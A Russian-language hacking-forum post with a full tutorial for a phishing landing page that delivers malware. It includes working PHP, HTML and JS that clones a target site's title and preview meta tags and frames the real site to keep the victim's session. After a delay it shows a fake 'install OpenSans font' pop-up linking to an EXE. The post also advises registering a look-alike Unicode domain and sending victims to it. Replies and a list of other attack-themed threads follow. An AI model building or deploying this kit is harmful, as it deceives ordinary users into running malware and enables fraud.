Замашка на универсальный лендинг для выдачи EXE

Admin

Администратор
Идея заключается в более-менее универсальном способе точечного впаривания exe (а возможно и не только) целевой аудитории
Я думаю только ленивый не слышал о нашумевшей не так давно кампании Hoefler Text, когда на шеллы заливался лендинг-имплант предлагавший "установить шрифт"
1

Сегодня мы попытаемся повторить что-то эдакое, только без необходимости ломать целевой ресурс - мы постараемся его универсально подделать.

Для начала, создадим незамысловатую структуру файлов (тут и далее будем писать на РНР и немного JS):
2

В style.css внесем самые обычные стили

Код:
html,body{
height:100%;
overflow:hidden;
}
*{
margin:0px;
padding:0px;
}
iframe{
height:100%;
width: 100%;
border:none;
}
Вся задумка заключается в том, что для отображения контента мы не будем парсить и проксировать сайт-донор, а отобразим его во фрейме на стороне клиента (так мы убережемся и от неправильного парсинга, например из-за прокладок и DDOS-защит и самое главное сохраним куки пользователя - если он авторизован на сайте-доноре он увидит все свои привычные настройки и свою сессию). Фрейм бы будем вкладывать в еще один фрейм (для обхода сайтов которые проверяют window.opener и window.top), дабы избежать "выхода" донора из фрейма

Итого, нам нужно :

1) Показать во фрейме на весь экран оригинальный ресурс (любую его страницу)
2) Подождать пару секунд (дать пользователю сконцентрировать на ней внимание)
3) Отобразить модальное окошко с предложением скачать и установить шрифт

Забегая наперед, для одной из страниц сайта coindesk выглядеть это будет вот так :
3

Итак, сказано - сделано. Приступим к простому коду нашей системы :

В файл index.php внесем такой код :
Код:
<?php
$origUrl = base64_decode(urldecode($_GET['u']));
$pageSource = file_get_contents("http://".$origUrl);

$pageSource = preg_replace("/<body(.+)<.body>/sim", " ",$pageSource);
$pageSource = str_replace(".js", ".404js",$pageSource);
$pageSource = str_replace(".css", ".404css",$pageSource);



?>

<?php

echo $pageSource;

?>
<body>
   <link rel="stylesheet" href="style.css"/>
<iframe src="frame.php?u=<?= $_GET["u"] ?>" scroll="no"></iframe>   
</body>
</html>
Здесь мы сначала декодируем параметр (целевую страницу) который пришел нам в GET, затем пытаемся забрать ее http-тело, из которого в последствии вырежем содержимое тега <BODY>
Делается это для того, что бы забрать содержимое HEAD (которое мы включаем в страницу) и подменить во-первых заголовок страницы, а во-вторых подменить очень важные для нас meta:eek:rg параметры


Видели как социальные сети и мессенджеры на лету генерят превьюхи для новостников? Сфейканая таким образом страница будет выглядеть на превью абсолютно идентично, благодаря забору этих аттрибутов

Тот же зафейканый coindesk :
4

Осталось сделать саму модалку - использовать будем встроенную в bootstrap. Ниже приведен код frame.php
Код:
<?php
$origUrl = base64_decode(urldecode($_GET['u']));
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title></title>
<link rel="stylesheet" href="style.css">
<link rel="stylesheet" href="https://v4-alpha.getbootstrap.com/dist/css/bootstrap.min.css" type="text/css" />
<script src="//code.jquery.com/jquery-latest.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.3/js/tether.min.js"></script>
<script src="https://v4-alpha.getbootstrap.com/dist/js/bootstrap.min.js"></script>

</head>
<body>
<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
 <div class="modal-dialog" role="document">
   <div class="modal-content">
     <div class="modal-header">
       <h5 class="modal-title" id="exampleModalLabel"><img src="http://tech-files.com/wp-content/uploads/2017/09/chrome_1-664x374.jpg" height="80px" /></h5>
       </button>
     </div>
     <div class="modal-body">
       <div class="container-fluid">
       <div class="col-xs-8">
       This webpage requires updated version of <b>OpenSans</b> font<br/>
       Please, install it by clicking <a href="http://your-super-site.com/file.exe">here</a>
       </div>
       </div>
     </div>
   </div>
 </div>
</div>
<iframe src="//<?= $origUrl ?>"></iframe>   

<script>
$(document).ready(function(){

setTimeout(function(){
 $("#myModal").modal();
},1300);

})
</script>
</body>
</html>

Соотвественно для работы, линк http://your-super-site.com/file.exe нужно будет заменить на свой exe doc zip cab а текст разводки отредактировать под себя.

Обобщая, рецепт успеха таков :

1. Кодируем нужный url в base64 БЕЗ http, например coindesk.com/topped-out-bitcoin-flirts-with-short-term-bearish-reversal/ превратится в Y29pbmRlc2suY29tL3RvcHBlZC1vdXQtYml0Y29pbi1mbGlydHMtd2l0aC1zaG9ydC10ZXJtLWJlYXJp
c2gtcmV2ZXJzYWwv.
Кодировать можно например на base64.ru
2. Заливаем фейк на домен (конечно берем максимально похожий, например с кириллицей или иным юникодом)
3. Шем пользователя на страницу your-fake-domain.com/index.php?u=YOUR_BASE64_HERE
4. ???
5. PROFIT!!!

Идея безусловно нуждается в доработке, однако считаю такое направление в подделке страниц весьма перспективным
Говнокод написаный на бегу можно скачать здесь :
https://www.sendspace.com/file/yg9bqq
Всех с наступающим!
 
N

naxaji

прикольная тема ребят а вот делал в углу висит како-то квадрат как его вообще убрать а то не красиво получается знаний нет вообще в этом...

2018 08 19 112330
 

lamer2018g

Пользователь
Похожие темы
Admin Статья DDoS на Bluetooth. Разбираем трюк, который поможет отключить чужую колонку Полезные статьи 0
Admin Статья Взлом wi-fi на легке Полезные статьи 0
Admin Статья Полное Руководство по Google Dorks: Говорим с Поисковиком на Его Языке OSINT 0
Admin Интересно «Ваш пароль истекает» (на самом деле нет). Microsoft объясняет, почему нельзя верить даже письмам от собственного HR. Новости в сети 0
Admin Интересно Эксплойт уже на GitHub. Главная система защиты Cisco снова пробита. Новости в сети 0
Admin Интересно ZIP-архив и скрытый MSBuild. Из чего состоит новая атака на военных, которую пропустили антивирусы. Новости в сети 0
Admin Статья Право на root. Как повышают привилегии в Linux. Уязвимости и взлом 0
Admin Интересно 70000 пострадавших и 20 миллионов на кону – начались первые аресты по делу о предательстве в Coinbase. Новости в сети 0
Admin Статья Браузерные расширения — идеальный шпион: Стиллер паролей на JavaScript, который невозможно заметить Вирусология 0
Admin Интересно Казалось, что летим, а на деле — ползём. Как ИИ-помощники незаметно крадут время у профессиональных кодеров. Новости в сети 0
Admin Интересно Цифровое чудо на Рождество. Как ученым удалось восстановить UNIX V4 с ленты 1970-х годов. Новости в сети 0
Admin Интересно 0 на VirusTotal и root-доступ: хакеры смогли обмануть все антивирусы с помощью легального софта для админов. Новости в сети 0
Admin Статья Полное Руководство по Google Dorks: Говорим с Поисковиком на Его Языке OSINT 0
Admin Интересно Firebox рвут на куски прямо сейчас — критическая дыра топит корпоративные сети без пароля и удалённо. Новости в сети 0
Admin Статья XSS от Яндекс на обед Полезные статьи 0
Admin Интересно Код на GitHub, который хакеры хотели бы удалить – Agentic Threat Hunting Framework уже в сети. Новости в сети 0
Admin Интересно Ваш компьютер вам врёт: в BIOS написано «защищено», а на деле — заходи, кто хочет. Новости в сети 0
Admin Статья Сбор информации в Instagram с Osintgram на Kali Linux. OSINT 0
Emilio_Gaviriya Работа на Пабло Эскобара. Возрождение. Предоставляю работу. Ищу специалиста. 0
el_hacker Статья Удобная анонимность на практике. Анонимность и приватность 0
el_hacker Интересно Компрометированные учетные данные IAM используются для масштабной кампании по майнингу криптовалюты на AWS. Новости в сети 0
turbion0 Мошенничество на 11 миллионов рублей: в Красноярске арестовали звезд сборной России по санному спорту Новости в сети 0
Support81 Вы отключали Cloudflare во время сбоя? Срочно проверьте логи на предмет взлома Новости в сети 0
Support81 Этичный хакинг? Забудьте. США готовят рои ИИ-агентов для атаки на Китай Новости в сети 0
Support81 Один взлом — минус ВВП: убытки после атаки на JLR стали главной причиной замедления экономиики Великобритании Новости в сети 0
Support81 Перевод крупной суммы по СБП на свой же счёт будет расцениваться банком как подозрительный Новости в сети 0
Support81 12 из 13 — столько популярных антивирусов (включая ESET, Avast и Касперский) провалили тест на шпионское ПО Новости в сети 0
Support81 Резюме с сюрпризом: хакеры из APT-C-60 массово «устраиваются на работу» в японские компании Новости в сети 0
Support81 Карьера в Тбилиси не задалась. Гражданин ФРГ меняет грузинское гостеприимство на немецкую тюрьму Новости в сети 0
Support81 Хакеры больше не воруют данные — они грабят фуры. Удаленно. На кону $34 миллиарда Новости в сети 0
Support81 Чертежи «Железного луча» на продажу. Хакеры заявили о краже секретных чертежей лазерной системы ПРО Израиля Новости в сети 0
Support81 От домофона до $256 тысяч в сумке. Москвичку обманули на 28 миллионов Новости в сети 1
Support81 Миф об «одноразовом» телефоне: эксперимент на Reddit показал, почему приватности больше не существует Новости в сети 0
Support81 Главы разведки на допросе. Дело о прослушке Paragon Новости в сети 0
Support81 Шифрование — прошлый век: киберпреступники переходят на новую модель вымогательства Новости в сети 0
Support81 «Битва ИИ» на крипторынке. Китайский DeepSeek лидирует, заработав 35%. Новости в сети 0
Support81 «Ага, туннель! Придушим». Ваш VPN тоже лагает на 4G? Объясняем, как операторы видят ваш трафик (и что с этим делать) Новости в сети 0
turbion0 Мошенники похищают аккаунты на «Госуслугах» через объявления Новости в сети 0
Support81 Уязвимость в SMS на смартфоне — и АНБ захватило контроль над временем всего Китая Новости в сети 0
Support81 США конфисковали криптовалюту на сумму 15 миллиардов долларов у главаря «свиного фарма» Новости в сети 0
Support81 С виду — офис инвестиционной компании. На деле — 80 мошенников с 204 мониторами для обмана жертв Новости в сети 0
Support81 Россия — цель №1 для хакеров. На страну приходится до 72% всех кибератак в СНГ. Новости в сети 0
Support81 56 человек и 1,2 млн сим-карт. Минцифры наткнулось на армию теневых абонентов Новости в сети 0
Support81 На Украине атакована ключевая фигура, стоящая за крупным русскоязычным форумом киберпреступности Новости в сети 1
wrangler65 Атаки на беспроводные сети Уязвимости и взлом 0
Support81 Вредоносное расширение VSCode в Cursor IDE привело к краже криптовалюты на сумму 500 тысяч долларов Новости в сети 0
wrangler65 RemoteWA Охота на пользователей Whatsapp Анонимность и приватность 0
Support81 Национальное агентство по борьбе с преступностью (NCA) Великобритании арестовало четырех человек, подозреваемых в причастности к кибератакам на крупны Новости в сети 0
Support81 Идеальное оружие для киберпреступников: нейросети заставляют вас самих кликать на фишинговые ловушки Новости в сети 0
Support81 Microsoft снова сыграла на руку хакерам — корпоративные сети ломают через официальный софт Новости в сети 0

Название темы